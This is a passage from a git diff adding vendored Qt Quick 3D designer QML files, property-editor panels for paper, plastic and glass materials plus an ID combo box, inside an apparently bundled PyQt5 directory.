Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + GlassRefractiveMaterialSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/IdComboBox.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/IdComboBox.qml new file mode 100644 index 00000000..be341ae4 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/IdComboBox.qml @@ -0,0 +1,123 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 as HelperWidgets + +HelperWidgets.ComboBox { + id: comboBox + + property alias typeFilter: itemFilterModel.typeFilter + + manualMapping: true + editable: true + model: comboBox.addDefaultItem(itemFilterModel.itemModel) + + textInput.validator: RegExpValidator { regExp: /(^$|^[a-z_]\w*)/ } + + HelperWidgets.ItemFilterModel { + id: itemFilterModel + modelNodeBackendProperty: modelNodeBackend + } + + property string defaultItem: qsTr("None") + property string textValue: comboBox.backendValue.expression + property bool block: false + property bool dirty: true + property var editRegExp: /^[a-z_]\w*/ + + onTextValueChanged: { + if (comboBox.block) + return + + comboBox.setCurrentText(comboBox.textValue) + } + onModelChanged: comboBox.setCurrentText(comboBox.textValue) + onCompressedActivated: comboBox.handleActivate(index) + Component.onCompleted: comboBox.setCurrentText(comboBox.textValue) + + onEditTextChanged: { + comboBox.dirty = true + colorLogic.errorState = !(editRegExp.exec(comboBox.editText) !== null + || comboBox.editText === parenthesize(defaultItem)) + } + onFocusChanged: { + if (comboBox.dirty) + comboBox.handleActivate(comboBox.currentIndex) + } + + function handleActivate(index) + { + if (!comboBox.__isCompleted || comboBox.backendValue === undefined) + return + + var cText = (index === -1) ? comboBox.editText : comboBox.textAt(index) + comboBox.block = true + comboBox.setCurrentText(cText) + comboBox.block = false + } + + function setCurrentText(text) + { + if (!comboBox.__isCompleted || comboBox.backendValue === undefined) + return + + comboBox.currentIndex = comboBox.find(text) + + if (text === "") { + comboBox.currentIndex = 0 + comboBox.editText = parenthesize(comboBox.defaultItem) + } else { + if (comboBox.currentIndex === -1) + comboBox.editText = text + else if (comboBox.currentIndex === 0) + comboBox.editText = parenthesize(comboBox.defaultItem) + } + + if (comboBox.currentIndex === 0) { + comboBox.backendValue.resetValue() + } else { + if (comboBox.backendValue.expression !== comboBox.editText) + comboBox.backendValue.expression = comboBox.editText + } + comboBox.dirty = false + } + + function addDefaultItem(arr) + { + var copy = arr.slice() + copy.unshift(parenthesize(comboBox.defaultItem)) + return copy + } + + function parenthesize(value) + { + return "[" + value + "]" + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/PaperArtisticMaterialSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/PaperArtisticMaterialSection.qml new file mode 100644 index 00000000..65d9d662 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/PaperArtisticMaterialSection.qml @@ -0,0 +1,292 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + id: materialRoot + width: parent.width + + property int labelWidth: 10 + property int labelSpinBoxSpacing: 0 + property int spinBoxMinimumWidth: 120 + + Section { + caption: qsTr("Environment Map") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Enabled") + tooltip: qsTr("Specifies if the environment map is enabled.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.uEnvironmentMappingEnabled.valueToString + backendValue: backendValues.uEnvironmentMappingEnabled + Layout.fillWidth: true + } + } + Label { + text: qsTr("Texture") + tooltip: qsTr("Defines a texture for environment map.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.uEnvironmentTexture_texture + defaultItem: qsTr("Default") + } + } + } + } + + Section { + caption: qsTr("Shadow Map") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Enabled") + tooltip: qsTr("Specifies if the shadow map is enabled.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.uShadowMappingEnabled.valueToString + backendValue: backendValues.uShadowMappingEnabled + Layout.fillWidth: true + } + } + Label { + text: qsTr("Texture") + tooltip: qsTr("Defines a texture for shadow map.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.uBakedShadowTexture_texture + defaultItem: qsTr("Default") + } + } + } + } + + Section { + caption: qsTr("Transmission") + width: parent.width + SectionLayout { + Label { + text: qsTr("Transmission Weight") + tooltip: qsTr("Set the material transmission weight.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 1 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.transmission_weight + Layout.fillWidth: true + } + } + Label { + text: qsTr("Reflection Weight") + tooltip: qsTr("Set the material reflection weight.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 1 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.reflection_weight + Layout.fillWidth: true + } + } + Label { + text: qsTr("Texture") + tooltip: qsTr("Defines a texture for transmission map.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.transmission_texture_texture + defaultItem: qsTr("Default") + } + } + } + } + Section { + caption: qsTr("General") + width: parent.width + + ColumnLayout { + width: parent.width - 16 + SectionLayout { + Label { + text: qsTr("Translucency Falloff") + tooltip: qsTr("Set the falloff of the translucency of the material.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 100 + minimumValue: 0 + decimals: 2 + backendValue: backendValues.uTranslucentFalloff + Layout.fillWidth: true + } + } + Label { + text: qsTr("Opacity") + tooltip: qsTr("Set the opacity of the material.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 100 + minimumValue: 0 + decimals: 2 + backendValue: backendValues.uOpacity + Layout.fillWidth: true + } + } + } + + ColumnLayout { + width: parent.width + Label { + width: 100 + text: qsTr("Texture Tiling") + tooltip: qsTr("Sets the tiling repeat of the reflection map.") + } + + RowLayout { + spacing: materialRoot.labelSpinBoxSpacing + + Label { + text: qsTr("X") + width: materialRoot.labelWidth + } + SpinBox { + maximumValue: 100 + minimumValue: 1 + decimals: 0 + backendValue: backendValues.texture_tiling_x + Layout.fillWidth: true + Layout.minimumWidth: materialRoot.spinBoxMinimumWidth + } + } + RowLayout { + spacing: materialRoot.labelSpinBoxSpacing + + Label { + text: qsTr("Y") + width: materialRoot.labelWidth + } + SpinBox { + maximumValue: 100 + minimumValue: 1 + decimals: 0 + backendValue: backendValues.texture_tiling_y + Layout.fillWidth: true + Layout.minimumWidth: materialRoot.spinBoxMinimumWidth + } + } + } + } + } + Section { + caption: qsTr("Diffuse Map") + width: parent.width + SectionLayout { + Label { + text: qsTr("Light Wrap") + tooltip: qsTr("Set the diffuse light bend of the material.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 1 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.uDiffuseLightWrap + Layout.fillWidth: true + } + } + Label { + text: qsTr("Texture") + tooltip: qsTr("Defines a texture for diffuse map.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.diffuse_texture_texture + defaultItem: qsTr("Default") + } + } + } + } + Section { + caption: qsTr("Bump") + width: parent.width + SectionLayout { + Label { + text: qsTr("Amount") + tooltip: qsTr("Set the bump map bumpiness.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 2 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.bump_amount + Layout.fillWidth: true + } + } + Label { + text: qsTr("Texture") + tooltip: qsTr("Defines a texture for bump map.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.bump_texture_texture + defaultItem: qsTr("Default") + } + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/PaperArtisticMaterialSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/PaperArtisticMaterialSpecifics.qml new file mode 100644 index 00000000..ba115fad --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/PaperArtisticMaterialSpecifics.qml @@ -0,0 +1,40 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + PaperArtisticMaterialSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/PaperOfficeMaterialSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/PaperOfficeMaterialSection.qml new file mode 100644 index 00000000..c715692e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/PaperOfficeMaterialSection.qml @@ -0,0 +1,272 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + id: materialRoot + width: parent.width + + property int labelWidth: 10 + property int labelSpinBoxSpacing: 0 + property int spinBoxMinimumWidth: 120 + + Section { + caption: qsTr("Shadow Map") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Enabled") + tooltip: qsTr("Specifies if the shadow map is enabled.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.uShadowMappingEnabled.valueToString + backendValue: backendValues.uShadowMappingEnabled + Layout.fillWidth: true + } + } + Label { + text: qsTr("Texture") + tooltip: qsTr("Defines a texture for shadow map.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.uBakedShadowTexture_texture + defaultItem: qsTr("Default") + } + } + } + } + + Section { + caption: qsTr("Transmission") + width: parent.width + SectionLayout { + Label { + text: qsTr("Transmission Weight") + tooltip: qsTr("Set the material transmission weight.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 1 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.transmission_weight + Layout.fillWidth: true + } + } + Label { + text: qsTr("Reflection Weight") + tooltip: qsTr("Set the material reflection weight.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 1 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.reflection_weight + Layout.fillWidth: true + } + } + Label { + text: qsTr("Texture") + tooltip: qsTr("Defines a texture for transmission map.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.transmission_texture_texture + defaultItem: qsTr("Default") + } + } + } + } + Section { + caption: qsTr("General") + width: parent.width + + ColumnLayout { + width: parent.width - 16 + SectionLayout { + Label { + text: qsTr("Translucency Falloff") + tooltip: qsTr("Set the falloff of the translucency of the material.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 100 + minimumValue: 0 + decimals: 2 + backendValue: backendValues.uTranslucentFalloff + Layout.fillWidth: true + } + } + Label { + text: qsTr("Opacity") + tooltip: qsTr("Set the opacity of the material.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 100 + minimumValue: 0 + decimals: 2 + backendValue: backendValues.uOpacity + Layout.fillWidth: true + } + } + } + + ColumnLayout { + width: parent.width + Label { + width: 100 + text: qsTr("Texture Tiling") + tooltip: qsTr("Sets the tiling repeat of the reflection map.") + } + + RowLayout { + spacing: materialRoot.labelSpinBoxSpacing + + Label { + text: qsTr("X") + width: materialRoot.labelWidth + } + SpinBox { + maximumValue: 100 + minimumValue: 1 + decimals: 0 + backendValue: backendValues.texture_tiling_x + Layout.fillWidth: true + Layout.minimumWidth: materialRoot.spinBoxMinimumWidth + } + } + RowLayout { + spacing: materialRoot.labelSpinBoxSpacing + + Label { + text: qsTr("Y") + width: materialRoot.labelWidth + } + SpinBox { + maximumValue: 100 + minimumValue: 1 + decimals: 0 + backendValue: backendValues.texture_tiling_y + Layout.fillWidth: true + Layout.minimumWidth: materialRoot.spinBoxMinimumWidth + } + } + } + } + } + Section { + caption: qsTr("Paper Color") + width: parent.width + ColorEditor { + caption: qsTr("Paper Color") + backendValue: backendValues.paper_color + supportGradient: false + isVector3D: true + Layout.fillWidth: true + } + } + Section { + caption: qsTr("Diffuse Map") + width: parent.width + SectionLayout { + Label { + text: qsTr("Light Wrap") + tooltip: qsTr("Set the diffuse light bend of the material.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 1 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.uDiffuseLightWrap + Layout.fillWidth: true + } + } + Label { + text: qsTr("Texture") + tooltip: qsTr("Defines a texture for diffuse map.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.diffuse_texture_texture + defaultItem: qsTr("Default") + } + } + } + } + Section { + caption: qsTr("Bump") + width: parent.width + SectionLayout { + Label { + text: qsTr("Amount") + tooltip: qsTr("Set the bump map bumpiness.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 2 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.bump_amount + Layout.fillWidth: true + } + } + Label { + text: qsTr("Texture") + tooltip: qsTr("Defines a texture for bump map.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.bump_texture_texture + defaultItem: qsTr("Default") + } + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/PaperOfficeMaterialSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/PaperOfficeMaterialSpecifics.qml new file mode 100644 index 00000000..81643b22 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/PaperOfficeMaterialSpecifics.qml @@ -0,0 +1,40 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + PaperOfficeMaterialSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/PlasticStructuredRedEmissiveMaterialSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/PlasticStructuredRedEmissiveMaterialSection.qml new file mode 100644 index 00000000..e54c1d44 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/PlasticStructuredRedEmissiveMaterialSection.qml @@ -0,0 +1,290 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + id: materialRoot + width: parent.width + + property int labelWidth: 10 + property int labelSpinBoxSpacing: 0 + property int spinBoxMinimumWidth: 120 + + Section { + caption: qsTr("Environment Map") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Enabled") + tooltip: qsTr("Specifies if the environment map is enabled.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.uEnvironmentMappingEnabled.valueToString + backendValue: backendValues.uEnvironmentMappingEnabled + Layout.fillWidth: true + } + } + Label { + text: qsTr("Texture") + tooltip: qsTr("Defines a texture for environment map.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.uEnvironmentTexture_texture + defaultItem: qsTr("Default") + } + } + } + } + + Section { + caption: qsTr("Shadow Map") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Enabled") + tooltip: qsTr("Specifies if the shadow map is enabled.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.uShadowMappingEnabled.valueToString + backendValue: backendValues.uShadowMappingEnabled + Layout.fillWidth: true + } + } + Label { + text: qsTr("Texture") + tooltip: qsTr("Defines a texture for shadow map.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.uBakedShadowTexture_texture + defaultItem: qsTr("Default") + } + } + } + } + + + Section { + caption: qsTr("Diffuse Color") + width: parent.width + ColorEditor { + caption: qsTr("Diffuse Color") + backendValue: backendValues.diffuse_color + supportGradient: false + isVector3D: true + Layout.fillWidth: true + } + } + + Section { + caption: qsTr("Emission") + width: parent.width + SectionLayout { + Label { + text: qsTr("Intensity") + tooltip: qsTr("Set the emission intensity.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 1 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.intensity + Layout.fillWidth: true + } + } + Label { + text: qsTr("Map Texture") + tooltip: qsTr("Defines a texture for emissive map.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.emissive_texture_texture + defaultItem: qsTr("Default") + } + } + Label { + text: qsTr("MaskTexture") + tooltip: qsTr("Defines a texture for emissive mask.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.emissive_mask_texture_texture + defaultItem: qsTr("Default") + } + } + } + } + + Section { + caption: qsTr("Emission Color") + width: parent.width + ColorEditor { + caption: qsTr("Emission Color") + backendValue: backendValues.emission_color + supportGradient: false + isVector3D: true + Layout.fillWidth: true + } + } + + Section { + caption: qsTr("General") + width: parent.width + SectionLayout { + Label { + text: qsTr("Roughness") + tooltip: qsTr("Set the material roughness.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 1 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.roughness + Layout.fillWidth: true + } + } + Label { + text: qsTr("Index of Refraction") + tooltip: qsTr("Set the index of refraction for the material.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 1.6 + minimumValue: 1.4 + decimals: 3 + stepSize: 0.01 + backendValue: backendValues.material_ior + Layout.fillWidth: true + } + } + Label { + text: qsTr("Texture Scaling") + tooltip: qsTr("Set the texture scaling of the material.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 1 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.texture_scaling + Layout.fillWidth: true + } + } + Label { + text: qsTr("Bump Factor") + tooltip: qsTr("Set the strength of the bumpiness.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 1 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.bump_factor + Layout.fillWidth: true + } + } + } + } + Section { + caption: qsTr("Random Gradient Maps") + width: parent.width + SectionLayout { + Label { + text: qsTr("1D") + tooltip: qsTr("Defines a texture map used to create the random bumpiness of the material.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.randomGradient1D_texture + defaultItem: qsTr("Default") + } + } + Label { + text: qsTr("2D") + tooltip: qsTr("Defines a texture map used to create the random bumpiness of the material.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.randomGradient2D_texture + defaultItem: qsTr("Default") + } + } + Label { + text: qsTr("3D") + tooltip: qsTr("Defines a texture map used to create the random bumpiness of the material.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.randomGradient3D_texture + defaultItem: qsTr("Default") + } + } + Label { + text: qsTr("4D") + tooltip: qsTr("Defines a texture map used to create the random bumpiness of the material.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.randomGradient4D_texture + defaultItem: qsTr("Default") + } + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/PlasticStructuredRedEmissiveMaterialSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/PlasticStructuredRedEmissiveMaterialSpecifics.qml new file mode 100644 index 00000000..c101f8b5 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/PlasticStructuredRedEmissiveMaterialSpecifics.qml @@ -0,0 +1,40 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + PlasticStructuredRedEmissiveMaterialSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/PlasticStructuredRedMaterialSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/PlasticStructuredRedMaterialSection.qml new file mode 100644 index 00000000..29ad1617 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/PlasticStructuredRedMaterialSection.qml @@ -0,0 +1,233 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + id: materialRoot + width: parent.width + + property int labelWidth: 10 + property int labelSpinBoxSpacing: 0 + property int spinBoxMinimumWidth: 120 + + Section { + caption: qsTr("Environment Map") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Enabled") + tooltip: qsTr("Specifies if the environment map is enabled.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.uEnvironmentMappingEnabled.valueToString + backendValue: backendValues.uEnvironmentMappingEnabled + Layout.fillWidth: true + } + } + Label { + text: qsTr("Texture") + tooltip: qsTr("Defines a texture for environment map.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + 